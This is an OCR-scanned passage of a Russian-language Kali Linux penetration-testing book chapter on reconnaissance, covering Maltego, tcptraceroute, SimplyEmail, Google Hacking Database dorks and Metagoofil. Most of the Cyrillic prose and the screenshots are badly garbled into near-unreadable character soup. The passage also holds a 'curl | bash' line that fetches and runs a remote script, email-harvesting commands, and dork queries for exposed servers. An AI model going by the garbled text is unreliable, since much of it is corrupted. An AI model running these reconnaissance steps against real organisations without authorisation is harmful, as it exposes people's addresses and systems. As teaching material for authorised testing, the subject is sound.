WESES [ Chssinyien ) ousbic vien |_eyun ] (@] 0] [2] [2] [l 2] [s] 2] 5]

Device
BN

such as o plione o com
2 Infrastructura

0 atamet Altanomeaut Syt |

Bq S Mama =
Domain llame Syscem server nam

Q Domein |
A intamet demain i
1Pl Addrece w

BB L i warvion 4 sddrans

B s secard |example.com
ADNS name server record i -

= HulJJImk

8 istemet Autons: ser |

Be MK Reze
ANNE mad »

== URL

K an inmemet umitorm resourcs Log|

i u...uuuan.mc.
! entifur for site s

© @ Transfanmm B
@ G Machines. o
Compary Stalker =l
Thie machina will trpea g & F

Find Wikipedia Edils . = »
This maching takes s du 0 QP
e ‘ol
Foatprint L2 fo = Dy
This perlusiis o fevel 2., 7% -2
Foatprint 13 ot
This perfarms o tevel 201, 0%

Puc. 4.4. YkasaHne NMeHn LeneBoro AoMeHa

5. Ecam BBI miesIKHETE TIPaBOIT KHOMIKOM MBITITH HA UMEHH JJOMEHA, TO YBUIUTE CITHCOK
BCeX MpeobpasoBaHuii, KOTOPBIE MOKHO C HUM BBIIOJTHUTD:

e qouyunth DNS nomena;

® [[OJIyYUTh CBEIEHUS O BJIAJIEIbIIE IOMEHA,

® [[OJIyYMTb a/Ipeca 3JIEKTPOHHOI MTOUTHI U3 JIOMEHA,;
® [[OJIyYUTh (HaJIbI U TOKYMEHTBI U3 JIOMEH3;

®  BBHINOJHUTD APYyTHE IpeobpasoBanust, Takue kak To Person (K uyesnoBexy), To Phone
numbers (K tereponnommy nHomepy) u To Website (K caiity).

6. Boibepem DomainToDNSNameSchema u3 mipeoGpasoBanuii domain (/17151 3TOTO BbI-
rosiHUTe Run Transform » Other Transforms » DomainToDNSNameSchema ( BoimmosnuTh
npeobpasosanue » [Ipyrue npeobpasosanus » DomainToDNSNameSchema)).
Pesynbrar nmokasan Ha puc. 4.5.
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\ & 2dd Similar Sklings N, Select Children  #4, Add Children 1 Selectby Type ™

- = % invert Scloction g+ Add Path ' Select Neighbors 417 Add Neighbors 4 Select Links * -
Copy Faste ek ity 5 "

| - r|r|d Selection aa StlectNone  J'a Select Parents r's Add Parents ¥ Select Bookmarked T Reverse Links T

Tranafornm

ﬁ,-nm Graph (2) =
| Mainview | Bubble view | Entayust ]I;';: |_ L - Elllﬂ

] Palette
© Devices
g Device

A device such as o phune o cam

g =

2 Infrastructura

G A

© G iremar suranamast Sytam o

[ S Mama -
Domain lame Jystem server nam|

w° Domsn

&2 " IM ndduu w

i IF warsion 4 addrass

B N% Hecard example.com

ADN3 nare server record
= II:IJJImL
Ao intermet futenamess System |
MK Record
R o e icand ¥
KN an inmemer usiform passurce Loc) L]

- UBL ‘

17 Unigueidensfier ‘ 3’
i o .

5D Uniguely identifer for & mebsite o

Website
N > Bun View Lot
- i Transfonmm >
% G Machines o
Prune Leaf Crbbies Lo X
Maching ts pruns leafan Q5

rls Ompul - Transform Qutput

57 Transtarn To Wehsite ONS [using Search Enqine) dans (fram entity -ssanple con=)

Trancfarn To INS Nane [Find common DMS nanes] returned with O entities (fron entity “evample com=)
] iranafarn 1o DS NAne [Find common DNS nanes] done [from entity “eusaple.cont)

Aunning Transform To ONS Hame - interesting- lusing DB1 on 1 entities |from entity “erample.com)
Feceived 4] results fron FobTex's 0B {from entity © ]
Transform To D5 Hane - interesting- [using DBI returned with & entities (from entity “ezseple.con”)
Transfurn To DN5 Nene - interesting- [using D8] done {from entity “ezenple.com®)
Running trensfors DosainTolHSManeSchena on 1 entities {Trom enlity “crample.con®)
Using Schesa http://tastools. paterva, com/bfdns/anastandard.bfdns | from entity “exnmple.com”)
Transtarn DonainTobHSManetchena returned with 1 entaties [from entity *exanple.con®)
Transforn DonainToDNENanebchena done |from entity "exasple.com®)

. il I

Puc. 4.5. PeaynbTaTt npeobpasoBaHuit

[Tociie npeobpasosaruss DNS us momeHa Mbl HoJIy4Ynan nHbopmanuio ob aapece
caiita (www.example.com), CBSI3aHHOTO € IOMEHOM example.com.

B 11eJ1eBOM JJoMeHe MOKHO BBITIOJIHUTD U APYTHE MPeodpasoBaHMsL.

Ecyii BbI XOTHTE U3MEHUTDH JOMEH, CHaYaa HeOOXOAMMO COXPAHUTh TEKYIIil rpa-

¢uk. L1 aToro caenaiiTe caenyioniee.

1. IllenxHute Ha 3Hauke Maltego u BbIGepuTe KOMaH1y Save (COXpaHUTh).

2. Tpacduk Gyaer coxpareH B (popmare Maltego graph (.mtgx). YT06bI HUBMEHUTD JOMEH,
MIPOCTO IBAK/IBI IEJTKHUTE HA HEM 1 I3MEHUTE €TO MMS.

[lanee Mbl onuIIeM HECKOJIbKO MHCTPYMEHTOB, KOTOPbIE MOKHO UCIIOJIb30BATD /IS
1oJtyyeHus nugopMaim o MapupyTU3aiui.
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[onyyeHne cBeaeHM 0 CETEBOWN MapLLpyTM3aUmm

Wudopmariys o ceTeBoii MapIIpyTU3AIMHY MOJT€3HA [JIsT ICIIBITATe el Ha TPOHNKHOBEHE
10 HECKOJIBKUM MPUYIHAM. BO-TI€PBbIX, OHI MOTYT OIPEAETUTh, YTO HAXOIUTCST MEXKILY
MAIITITHO TECTHPOBIINKA U TI€JIeBOI MalTHOM. VcrbitaTeb Takke MOXKET y3HATh, KaK
paboTaer ceThb U Kak TpahrK MapIIpyTU3UPYETCST MEK/LY 1[eJIeBON MAIMHOM 1 MATITMHON
ucribitaTessd. Hakowerr, ncmbsitaTerb MOXKET ONPENeUTb, CYIIECTBYET JIU MEXKILY TI€JI€BOI
U ero MaliuHON MPOMEKYTOYHBIH 6apbep, HarpuMep OGpaHIMayap UIN MTPOKCU-CEPBEP.

B Kali Linux BCTpoeH psig MHCTPYMEHTOB, KOTOPbIE TO3BOJIAIOT HOJIyYUTh HHPOP-
MAIIHIO O CETEBOI MapIIPyTU3AIUH.

tcptraceroute

WHcTpyMeHT teptraceroute B tuetpubyTrBax Linux sSIBJSIETCS TOTIOMHEHUEM K KOMaH/Ie
traceroute. CTanzapTHas KOMaH/a traceroute OTIPABJSET EJEBOU MallMHEe WJIN
UDP, wiu sxo-maker ICMP (Internet Control Message Protocol — mpotokos mexce-
TEBBIX YIPABJISIONIIX cO0OIIeHMiT) co BpeMeneM skustu (Time to Live, TTL), paBHbIM
ennHune. 3uaderne TTL yBesmanuBaeTcs Ha eIUHUILY /7T KK/IOTO XOCTA 70 TEX MOp,
MOKa MaKeT He JOCTUTHET IeJieBOl ManmHbl. OCHOBHOE pa3jinyue MeKIy KOMaHIoN
traceroute 1 MHCTPYMEHTOM tcptraceroute B TOM, UTO TTOCTEAHIH JJIS 1eTeBON MAITITHBI
ncnons3yeT maker TCP SYN.

[maBHOE MpenMynecTBO UCMOJIb30BaHUs teptraceroute COCTOUT B TOM, YTO MBI
MOJKEM Ha TyTH OT MAallUHbBI TECTUPOBIIMKA K I[eJIEBOIl MAITMHE BCTPETUTH OPaH/I-
Mayap. bpanamayspel yacto HacTpanBaioTcs s puabrparyu Tpaduka ICMP u UDP,
CBSI3aHHOTO ¢ KOMaH/OH traceroute. B aToM ciyuae nH@opMmaIus o TpacCupoBKe
Oyzer nckaxkeHa. Vcmonmb3oBanme MHCTPYMEHTa teptraceroute O3BOJISIET YCTAHOBUTD
TCP-coennHeHNe Ha OMIPEIETIEHHOM MOPTE, Yepe3 KOTOPBIN GpaHaAMAayap TIO3BOJUT BaM
MPOTH, TeM CaMbIM TTOKa3aB HA TYTH CETEBOU MapIIPYTH3AIUN OPaHIMAY3P.

NuctpymenT teptraceroute NCob3yeT TPEXCTOPOHHEe yeTanoBaenne cBsizu TCP,
9TOOBI OTPEEJUTD, €CTh JIN JIOCTYT YePe3 MEKCETeBOI aKpaH. ECJIU MOPT OTKPHIT, BB
nosyunte maket SYN/ACK. Ecsim mopt 3akpbIT, BbI ToryauTe makeT RST.

[l 3anmycka teptraceroute B KOMaHAHOM CTPOKE CJleflyeT BBECTU TaKylo KOMaHILy:

# tcptraceroute

C aT0i1 KOMaH/ION CBSI3aHO HECKOJIBKO (DYHKITHIA.
Camas npocrast QYHKIMS — BBIIOJHEHNE KOMaH/bl B JoMeHe. UToObI IIpoJeMOH-
CTpUpPOBATh ee, 100aBbTe K KoMaH e traceroute JoMeH example. com:

# traceroute www.example.com

OTpelIaKTI/IpOBaHHbel OTBET BBITJIAUT CJACAYIONTNM O6p3.30MZ

traceroute to www.example.com (192.168.10.100), 30 hops max, 40 byte packets
1 192.168.1.1 (192.168.1.1) 8.382 ms 12.681 ms 24.169 ms
2 1.static.192.168.xx.xx.isp (192.168.2.1) 47.276 ms 61.215 ms 61.057 ms

3 * * *
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4 74.subnet192.168.xx.xx.isp (192.168.4.1) 68.794 ms 76.895 ms 94.154 ms
5 isp2 (192.168.5.1) 122.919 ms 124.968 ms 132.380 ms

15 k% ok
30 L S

Kak BbI MOKeTe BUIIETH, B OTBETE €CTh HECKOJIBKO CTPOK, MH(MOPMAIINA B KOTOPBIX
3aKPbITa 3BE37I0YKaMU ***, Eci MBI TOCMOTPUM Ha BBIXO/IHBIE JIAHHBIE, TO YBUIUM, UYTO
o 3anpocy 15 Her Hukakoil nHGoOpManUu. ITO MPU3HAK TOTO, YTO MEKIY MAITHHON
UCIIBITATE IS U T1eJIEBOI MAIIMHON (B HAIIIEM CJIydae 9TO IOMeH example.com) HaXOAUTCs
YCTPOHCTBO, hubTpyloliee 3apochl.

Ternepsb ¢ MOMOIIBIO KOMaH/IbI tcptraceroute 1ompodyem oboiitu ATy (QUITHTPAIUIO.
3Has1, 4TO JJOMEH example.com HaxXOAUTCsI Ha BeO-cepBepe, Mbl BOCIIOIb3YEMCST KOMaH-

1011, uTo6bI poiiTu uepes TCP-nopt 80, koropsiii sBasercs noprom HTTP. Beegure
B KOMaH/IHYIO CTPOKY CJIe/lyTolIee:

# tcptraceroute www.example.com

Ha BbIXO0/I€ BbI ITIOJIyUHUTE:

Selected device eth@, address 192.168.1.107, port 41884 for outgoing packets
Tracing the path to www.example.com (192.168.10.100) on TCP port 80 (www),
30 hops max

192.168.1.1 55.332 ms 6.087 ms 3.256 ms

1.static.192.168.xx.xx.isp (192.168.2.1) 66.497 ms 50.436 ms 85.326 ms

* k%

74.subnet192.168.xx.xx.isp (192.168.4.1) 56.252 ms 28.041 ms 34.607 ms
isp2 (192.168.5.1) 51.160 ms 54.382 ms 150.168 ms

192.168.6.1 106.216 ms 105.319 ms 130.462 ms

192.168.7.1 140.752 ms 254.555 ms 106.610 ms

NOoOuUuh wNnR

14 192.168.14.1 453.829 ms 404.907 ms 420.745 ms
15 192.168.15.1 615.886 ms 474.649 ms 432.609 ms
16 192.168.16.1 [open] 521.673 ms 474.778 ms 820.607 ms

Kaxk moskeTe BuieTh 13 BBIXO/IHBIX IAHHBIX tcptraceroute, 3a1Tpoc TOCTUT TeTIeBOH
CHCTEMBI.

tctrace

ITO elle OJIMH MHCTPYMEHT, MCIIOIb3YIONui pykomnoxarue (ksutuposanue) TCP.
Kak u tcptraceroute, tctrace ornpasiiser naker SYN Ha olpe/ie/IeHHbII XOCT, 1, €CIn
oTBeTOM Ha 3arpoc Mbl nosydaem SYN/ACK, suauur, nopt otkpsit. [Taker RST 110-
Ka3bIBaeT, YTO JIAHHBIN TIOPT 3aKPHIT.

Jlns 3amycka tetrace ucmosib3yeTcs ciaeayionas KoMaHaa:

# tctrace -i<device> -d<targethost>

rie -i<device> — untepdeiic 1eaeBoil MalIuHbL, a -d<targethost> — oMeHHOE UM
LeJIH.
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Jliist npuMepa Mbl BBITIOJIHUM tcptrace, UCIIOJB3YsI JOMEH Www.example.com Kak
11€JIEBOM XOCT:

# tctrace -i eth® -d www.example.com

Ha BbIxX0z1e MBI TIOTYYUM CJIeyIOIINe JaHHbIe:

1(1) [172.16.43.1]
2(1) [172.16.44.1]
3(all) Timeout

4(3) [172.16.46.1]
5(1) [172.16.47.1]
6(1) [172.16.48.1]

7(1) [

14(1) [172.16.56.1]
15(1) [172.16.57.1]
16(1) [198.148.81.137] (reached; open)

Ncnonb3yeM noMCKoOBUK

Kali Linux cozepkuT MHOTO MHCTPYMEHTOB, TO3BOJISIONNX TOJYYUTh TOAPOOHYIO
urdopmarmio 06 ucciepyeMom oobekre. C MOMOIBIO HHCTPYMEHTA ABTOMATHYECKOTO
cbopa TaHHBIX MBI MOKEM COOPATh MHOTO MH(MOPMATIUY U3 OOIIEOCTYTTHBIX HCTOYHU-
KOB M MMPOAHATN3NPOBATH €€. ITH WHCTPYMEHTBI IEHCTBYIOT KaK TOUCKOBBIE CUCTEMBI
U 11 TToJTydeHus nH(pOpMaIy 0 IoMeHe MOTYT IIPOCMATPUBATh Pa3JIMYHbIC PECYPCHI,
narpumep Google, caliTbl CONMATBHBIX CETE WIH 3JIEKTPOHHYTO 04Ty, OIHIM 13 TIpe-
HUMYIIECTB UCTIOIb30BAHUSA 9TUX MHCTPYMEHTOB SIBJIETCS TO, YTO OHUM HE UIYT HETO-
CPeICTBEHHO caiiTel, a azeiicTytor st mosyaerust OSINT (Open Source Intelligence)
JIpyTHe TIONCKOBbIe cucTeMbl. [[pMenenne aTuX HHCTPYMEHTOB TIO3BOJIUT TIEHTECTEPY
OTPAHUYUTD CJIe/IbI TPOHUKHOBEHUS B IIEJIEBYIO CUCTEMY.

OjiHU U3 3THX UHCTPYMEHTOB y’Ke BCTPOEHbI B onepainonnyio cucremy Kali Linux,
JpyTHe TPeOYIOT JIOMOJIHUTENBHON YCTAHOBKU. B cieiyionux pasienax Mbl PacCKakeM
0 HECKOJIbKUX MHCTPYMEHTAX, KOTOPbhIE OMOTYT BaM coOpaTh GOJIBIIOE KOJIUIECTBO
nHdopmarmm.

SimplyEmail. 9ToT nHCTPYMEHT He TOJIBLKO cCOOUPAET ajipeca SIeKTPOHHON TTOUTHI, HO
U BBIMCKUBAET B JIOMEHE TEKCTOBBIE IoKyMeHTh Word 1 asiekTpoHHble Tabsmisr Excel.
Kpome Toro, cytecTByer GoJIbINoe KOJTUYECTBO PA3TUYHBIX CAITOB 1 MOMCKOBBIX CHCTEM,
KOTOpPbIE MOJKHO HCIIOJIb30BaTh. ITO Takue pecypcebl, Kak Reddit, Pastebin u Canary Bin.
HemasioBaskHo, 4To 0TUEThI co3aioTes B yaooHoM dopmare HTML.

theharvester — 310 ToXe yI06HbIN UHCTPYMEHT ANS arperpoBaHust aapecos
3/1EKTPOHHOI NMOYTbI M APYroi MHbOopMaLmm, KOTopast MOXXET MPOCOYUTLCS
C UEeneBoro KoMrbloTepa.

SimplyEmail — crienaputi, mamucamnniii Ha Python u coctosamuii 13 HeCKOTLKUX
MozyJieit. OH JIErKo yCTaHABJIMBAETCSI HA KOMITBIOTEP.
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Yrobsl yeranoButh SimplyEmail, BbiosHuTe cirepyionue mar.

aiizure Ha caiit GitHub o aapecy https://github.com/killswitch-GU1/SimplyEmail.
2. BwemuTe caenyonmit Ko/
curl -s

https://raw.githubusercontent.com/killswitch-GUI/SimplyEmail/master/setup/
oneline-setup.sh | bash

3. TlocJie 3ammycka ciieHapust oH OyeT roToB K pabore.

Y0661 0TKpBITH MeHio Help (CripaBka), BBeAUTE CEAYIONIYI0 KOMAH/LY:
#./SimplyEmail.py -h

B otBet BBI HosryunTe ciaemyroiiee:

Current Version: v1.0 | Website: CyberSyndicates.com

C60p 2JIEKTPOHHOI TIOYTHI SIBJISIETCS] BAsKHBIM 3TAllOM MHOTUX OIePaIliii, KOTOpbIe
BBITIOJTHSIET UCTIBITATEN b Ha TPOHUKHOBeHNe nian «KpacHast komanna». Ho Ham 1mo-
TpebOBaJICS XOTh U IIPOCTOM, HO 9P (hEKTUBHBII CII0CO0 II0NYYUTh Pe3YJIbTaT, CXOAHBII
¢ pesysbratamu pabotsl Recon-Ng u theharvester (quist sanycka ssenute -h).

OononHuTenbHblii | ONncaHune

apryMeHT

-all Jliist oty aerust cCoOOIIEeHU T 9JIEKTPOHHON MOYTHI UCTIONb3YIOTCS
He API-meronr

-e company.com 3ajaiite aipec 3JIeKTPOHHON MOUTHI M0JIb30BaTe s, Hanpumep ale@email.com

-1 CIvcoK 3arpysKEeHHBIX MOJLYJIei

-t html/flickr/google. Tect oraesabHOro MOAYIst (715t IUCTUHTA)

-s ITOT apryMeHT MO3BOJISIET TIPU AHATN3E 3JIEKTPOHHOIT TI0YTHI BBIOPATh
peskum No-Scope

-v VKaxuTe 5TOT apryMeHT /IS TIOAPOOHOTO BBIBOJIA MOYJIEH

Yro6br HAYaTh MOWMCK, BBEAUTE CIEAYIONIYIO0 KOMAHIY:

#./SimplyEmail -all -e example.com

HauHeTcs BbITIOTHEHNE CIICHAPUS. Y UTUTE, €CIM HUKAKOH WH(MOPMAIIUU HET, B OT-
Bete Gy/IyT onmMOKN. ITO HEe 0O3HAYAET, YTO BBI c/Iemau omubKy. [Tpocto HyskHast wHbOP-
Malust OTCyTCTBYeT. Bo Bpemst paboThl MHCTPYMEHTA Ha SKpaHe Bbl YBUJIUTE CJEYIONIEE:

[*] Starting: PasteBin Search for Emails

[*] Starting: Google PDF Search for Emails
[*] Starting: Exalead DOCX Search for Emails
[*] Starting: Exalead XLSX Search for Emails
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Starting: HTML Scrape of Taget Website

Starting: Exalead Search for Emails

Starting: Searching PGP

Starting: OnionStagram Search For Instagram Users

HTML Scrape of Taget Website has completed with no Email(s)
Starting: RedditPost Search for Emails

OnionStagram Search For Instagram Users: Gathered 23 Email(s)!
Starting: Ask Search for Emails

e e R R B N W |
¥ X ¥ X ¥ ¥ ¥ ¥
e e e e e e e

Koria momnck 3aBepimmTces, BbI MOJTYYUTE 3aITPOC HA TPOBEPKY a/I[PECOB TEKTPOHHOM
MOYTHI. JTa Olepalns MOXKET 3aHsTh HEKOTOpoe BpeMs. Ho B 11esieBoIi aTake ¢ UCIIOJIb-
30BaHMEM WHCTPYMEHTOB COIMAJIbHON WHXKEHEPUU UJIH MIPU TTOJyYeHUn KOH(pU/IeH-
IMAJTBHBIX JJAHHBIX OTIpPeieIeHHbIX Jnl ((UIMHTE) BpeMsl, TOTpayeHHOe Ha TTPOBEPKY
aapeCOB3ﬂeKTp0HHOﬁJIOqu;6yﬂeT3anaquO1{63pﬂ;ZLHH3aHyCKale0BepKPIaﬂpeCOB
3JIEKTPOHHOMN TOYTHI IOCTATOYHO HAXKaTh Kiaapuiny Y. Haxas kiaButry N, BbI OTKake-
TeCb OT IIPOBEPKU.

[*] Email reconnaissance has been completed:

Email verification will allow you to use common methods

to attempt to enumerate if the email is valid.

This grabs the MX records, sorts and attempts to check

if the SMTP server sends a code other than 250 for known bad addresses
[>] Would you like to verify email(s)?:

ITo oxoHyannm ITPOBEPKUN HACTYIIUT C]IelIyIOHII/Iﬁ 9Tall — CO3/JaHMA OTUETAa:

[*] Email reconnaissance has been completed:
File Location: /root/Desktop/SimplyEmail
Unique Emails Found: 246
Raw Email File: Email_List.txt
HTML Email File: Email_List.html
Domain Performed: example.com

[>] Would you like to launch the HTML report?:

Otuer — 510 HTML-(haii, B KOTOPOM yKa3aHO, KaKKe TUIIBI MOUCKA ObLIN TpUMe-
HEHBI U KaKue JaHHble Ol 00HapyskeHbl. Ecimi BbI Xoporo paséupaerech B HTML,
BBI JlaKe MOJKeTe TIOCTAaBUTH Ha ATOM OTYeTe CBOI JIOTOTUI M BKJIIOYUTH €TI0 B OKOHYA-
TEJILHBII OTYeT 00 UCCIEIOBAHNN HA TPOHUKHOBEHIE.,

B3nom 6a3bl gaHHbIX Google (GHDB)

Basa danmnvix Google Hacking (GHDB) HaxonuTcst 1o aapecy https://www.exploit-db.com/
google-hacking-database/. OHa 1103B0OJISIET TTOTH30BATESIM TIPUMEHSTh WHMBU/Ly ATbHbIE
pacimpeHHble 3aIPOChHI, KOTOPble MOTYT BbISIBUTH UCKJIIOUUTENbHYIO NH(MOPMAIIHIO.
Takas nrdopmaiust B 0ObIYHOM CIIMCKE Pe3yJIbTaToB IoMcKa Ha https://www.google.com/
He oToOpazkaercs.

GHDB nauunnan cosgasarb xonnu Jlonr (Johnny Long), ocHoBaresb coobiiecTsa
Hackers for Charity («Xaxepsi 3a 6aarorsoputresibHoctb» ). Ceituac GHDB nogepsku-
Baetcs Offensive Security, cosparessvu Kali Linux. B GHDB ucnosb3yiorest 3a1pochbl



132 naBa 4 e [lonyyeHue oTneyaTka n cbop MHdopmaumm

Google Dork nwiu Google Dork Queries (GDQ) — HaGop 3a1pOCOB /i1 BbISIBIEHMS
rpybGeiinmux apip B 6esomacHocT. [Ipu (hopMUPOBAHUHN 3ATIPOCA MOJKHO TAKKe YKA3bI-
BaTh ONEPATOpbI TUIa allintext, site, +, -, * u aAp. [Ipu npaBuibHOM hOpMUPOBAHUT
sanpoca Googledorks mHorma MoskeT BbIIATh HHTEPECHYIO U JIaske KOHMDUACHIHATBHYIO
UHGOPMAIIHIO, TaKYI0 Kak co00tIeHus 00 OMmnOKax, CIIUCOK YSI3BUMbIX CEPBEPOB U Cail-
TOB, KOH(uUIeHIIMaIbHble (hailljibl U cTpaHulbl Bxoaa. Korneuro, 6oJibinas 4acTb 5ToM
urbopMarmn yepes obviunviil mouck Google vaiie Becero negocrymua. [Tosromy Google
MOJKHO HCIIOJIb30BaTh B KaueCTBE MHCTPyMeHTa cOopa nH(GOpMaInu 1 B3jioMa 6as3bl
JTAHHBIX.

GHDB nocrarouno npoct B npuMmenennu. KoneuHo, u 37iech ecTh 110Ji€ BBOJIA T10-
HCKOBOTO 3alIpoca, HO, B OTJIMYIE OT OOBIYHOTO orcKoBrKa Google, Ha aTOM pecypce
[0JIb30BATENb, BMECTO TOTO 4TOOBI BBOAUTH (hpassl u 3ampocsl Google Dork, moxer
HCKaTh OTBET B PA3JIMYHBIX KaTeropusx. Huske 3arooBKa cTpaHUIbl HAXOASTCS CCBLI-

K1, B KOTOPBIX MEPEUYNCICHBI MHOTHE KaTETOPUN C ITOMCKOBBIMHM 3aIlIpOCaMM, a TaKKe
CCBLIKHU Ha 3a1pOChl, Beyue K moucky Google. C moMOIIbIO 9THX KaTErOPUil HyKHYIO
nH(pOPMAITHIIO JIETKO HAKET /la’ke HAUMHAIOMIMI M0JIb30BATETb.

B kauecTBe mipumMepa Mbl, UTOObI BBIOPATH YSI3BUMBIE CEPBEPDI M3 CIIUCKA KATETOPHIA,
IIPOCTO BBEJH apache B 1oJie Toncka U Haxaan KHonky Search (ITowuck) (puc. 4.6).

Puc. 4.6. Kateropuu oTcOpTUpOBaHbI

no cnosy apache

Google Hacking Database S
Show|. W Quick Search | apache x l
Date
. . Dork Category Author
AgQed ¥
2018-06-22  Intitle"apache tomeat/” "Apache Tomcat examplas” Web Server Detection KhanhNNVN
20180511 "Powered by Apache Subversion version” Sensilive Direclories Sang Bui
20180507 ::Tltle: ‘apache tomcat/” + "Find additional important configuration information Web Sarver Detection ManhNho
20180503 intille:"Apache Debian Delaull Page: I works™ Web Server Delection ManhNho
20180307 inurl:server-status® "Server Version: Apache/® “Server Built: * "Server uptime: \Web Server Detection Aarrilr Rekimisi
"Total accesses” "CPU Usage:”
20170627 intitle: Index of” “Apache/2.4.7 (Ubuntu) Server” Web Server Detection ANDIYITHIES
2016-02-26  intitle*Apache Status® | intext:"Apache Server Status® Web Server Detection ANoNYMoUs
20160217 Intext:Apache/2.2.29 (Unlx) mod_ssl/2.2.79 | intitle:"Index of / Webh Server Detection AnCRymous
P o - .o -
20160202 fnmle. 1|T|rn|(e:.I LAMP" intext: lurnkey lamp release noles” "Apache PHF Files Containing Julcy Info o &
information” !
20151214 Inurl"server-status” Intext:"Apache Server Status” Flles Contalning Julcy Info AnNoNYmous
20151112 intext:"This is Apache Hadoop release” "Local Logs® Varioua Online Devices ANDNYITHUE
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Ber MO’keTe OTKPBITh 3aMHTEPECOBABIIYIO BAC CCHUIKY, IIETKHYB Ha Heil KHOMKON
mblin. Vau ckonuposath B 6ydep o6OMeHa U BCTABUTD B M0JIe TOUCKOBOTO 3aIpoca
Google. BoaMosKHO, TI0 9TOMY 3aIpOCy BBI HalijieTe AOMOJIHUTENBHYI0 WHBOPMAIHUIO.

Ha puc. 4.7 mokasanbl pe3yJabTaThl IOMCKA 110 BBEIEHHOMY ITOMCKOBOMY 3aIlpOCy
B Google. Obparute BHuManue, uTo mosydeHo 82 200 pe3yibTartoB, HO HE BCe COIEPKAT
UHTEPECHY0 NHHOPMAIHIO 006 YSI3BUMBIX CEPBEPaX.

€ = C @ hitps//wwwgooglecom/search?rlz=1C1GGRV_enUATSAUATES &ibiv=10068bih=6522ei=2qRpXNCVIK2G.. & Cy O | @ :

T Zabbix [ Amis  fF Vector rpadun sanmor. || Kownyrawes M MikroTik Routers and \ | 71 Apyrwe saxnagn

Google Openssl AND 1.01 Server at = .!, Q FH

Bee EBwnaeo KapTusrm HopocTn Moxynen Ewt HacTpoi WMHCTRyMeHTE

PeaynLTatop: npuMepto B2 200 (0,33 cox)

Copet. Mo aToMy 38NpOCY Bl MOKETE HAATH CAATE HA PYCCKOM AIbIKE. YRAIATL NPEANONTHTENLHLIE
AR JUNH PEIYTIETHTOR NOWCKE MOBHO B PRagens Hac Tpode,

Install OpenSSL on a windows machine - Ths-Certificates.co.uk
https:fwew.ibs-certificates.co.uk/FAQY.. Jopensskwindows.h... = MepesecTi 3Ty cTPaHWYY

2 wonG. 2018 r. - Heartblead security - 1.0.1 - See here ... in and respect the
instructions {more infrmation enOMaIN a server cartincats)

Idocs/faq.html - OpenSSL
https:fwww.openssl.org/decsifag.html = MNepesecT 3ty cTpasnyy

lNapedTd K paneny Using the OpenSSL application - Wivy can't | make an 5L connaction to a
sarver . Some secure servers hang with OpenSSL 1.01,

SSL and TLS Protocols - OpenSSLWIiki
https:ifwiki.cpenssl.orglindex.php/SSL_and_TLS_Protocols » MepssecTy 3Ty cTpaHnLy
Mepadima k pasneny Server Name Indication - Allows a client to specify at the very baginning of the
handshake whal server nama it wanls to connecl to

OpenSSL
https:ifwww.openssl.ong/ = MepesscTi 3Ty CTRPAHMLY

QOpenSSL is a robust, commercial-grade, and full-featured tookit for the Transport Layer Security
(TLS) and Secure Sockels Layer (881} profocols. It is alko s

Pl

Pwuc. 4.7. Pe3ynbtatbl NOMCKOBOro 3anpoca

B aTnvecknx v OpUAMYECKUX TeJISIX BbI IOJEKHBI Hcnosrb3oBath GHDB Tonbko s
cbopa nndopMaImm.

Metagoofil

Metagoofil — 910 UHCTPYMEHT, KOTOPBII MCIIOJIb3YeT MOUCKOBYIO cucTemy Google ast
MOJIyYeHUsT MeTaIAHHBIX 13 IOKYMEHTOB, JIOCTYIIHBIX B 1I€JIeBOM JioMeHe. B Hacrosiee
BpeMSI TIOJIJIEPKUBAIOTCS CIEAYIONIME TUITBI JOKYMEHTOB:

Q xoxymenTs Word (.docx, .doc);

Q asekTpoHHble Tabuibl (. x1sX, .x1s, .ods);
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O

(aitser ipesentanyy (. pptx, .ppt, .odp);
(haitnsr PDF (. pdf).

O

Metagoofil BeimosHsieT ciieayromiye aeicTBus.

ITouck B 11€71€BOM JIOMeHeE C ITOMOIIIbIO Google BCEX YKa3aHHbIX BbIIIIE TUTIOB (bafl]IOB.
3arpy31<y BCeX HaﬁHeHHbIX AOKYMEHTOB 1 NX COXpaHEHUE Ha JIOKAJIbHOM /IVICKE.

MsBieuenne METAalaHHbIX U3 3arPpy’KEHHBIX JIOKYMEHTOB.

000D

Coxpanenue pesysbrata B HTML-daii.

MbI MOKEM O6Hapy>KI/ITb cjaeayromnme MeTalaHHbIE.

o

ms nosib3oBaTeis.

O

Bepcuio nmporpaMmHuoro obecrieqenusi.
Q Imena cepBepoB Wn KOMIIBIOTEPOB.

Jaunyto nHGOPMAIHIO MOKHO MCIOJIb30BATH [M03Ke, HA ATAalle TECTUPOBAHUS HA
nponukHoBeHue. Metagoofil He Bxomut B crangapraeiii quctpubytus Kali Linux 2.0.
Yro6b1 ycranosuTh Metagoofil, BbiosiHuTe C1eyIomyio KoMaHy:

# apt-get install metagoofil

Korna npusoxkenue ycTaHOBUTCS, [IJIs 3aITyCKa BBEIUTE TAKyI0 KOMAH/LY:

# metagoofil

[Tocue 3ammycka TpuIosKeHUs HA dKPaHe MOSIBSTCS IPOCThIe HHCTPYKIMH IO HIC-
MOJIb30BAHUIO U TIPUMeEP. MBI IS IEMOHCTPAIIK €ro paboThl coGepeM Bee TOKYMEHThI
DOC u PDF (-t, .doc, .pdf) us nesreBoro jomena (-d hackthissite.org) u coxpanum
UX B KaTajiore ¢ uMeHeM test (-o test). MbI orpannumnBaem Monuck Kask1oro Tuma ¢aii-
J0B 20 daiimamu (-1 20), a 3arpy3uM TOJIBKO TsATh (HaitnoB (-n 5). Co3nanublil OTYeT
COXpaHUM 110/l MeHeM test.html (-f test.html).

BeenuTte coeyoniyio KOMaHy:

# metagoofil -d example.com -1 20 -t doc,pdf -n 5 -f test.html -o test

OTpelIaKTI/IpOBaHHbeI PeE3yJabTaT €€ BbITIOJTHEHUWA BbIIVIAANUT CJICAYIOIMINM O6p3.30MZ

[-] Starting online search...

[-] Searching for doc files, with a limit of 20
Searching 100 results...

Results: 5 files found

Starting to download 5 of them:

[1/5] /webhp?hl=en [x] Error downloading /webhp?hl=en

[2/5] /intl/en/ads [x] Error downloading /intl/en/ads

[3/5] /services [x] Error downloading /services

[4/5] /intl/en/policies/privacy/

[5/5] /intl/en/policies/terms/

[-] Searching for pdf files, with a limit of 20

Searching 100 results...
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Results: 25 files found

Starting to download 5 of them:

[1/5] /webhp?hl=en [x] Error downloading /webhp?hl=en

[2/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine3.pdf
[3/5] https://mirror.hackthissite.org/hackthiszine/hackthiszinel2_print.pdf
[4/5] https://mirror.hackthissite.org/hackthiszine/hackthiszinel2.pdf
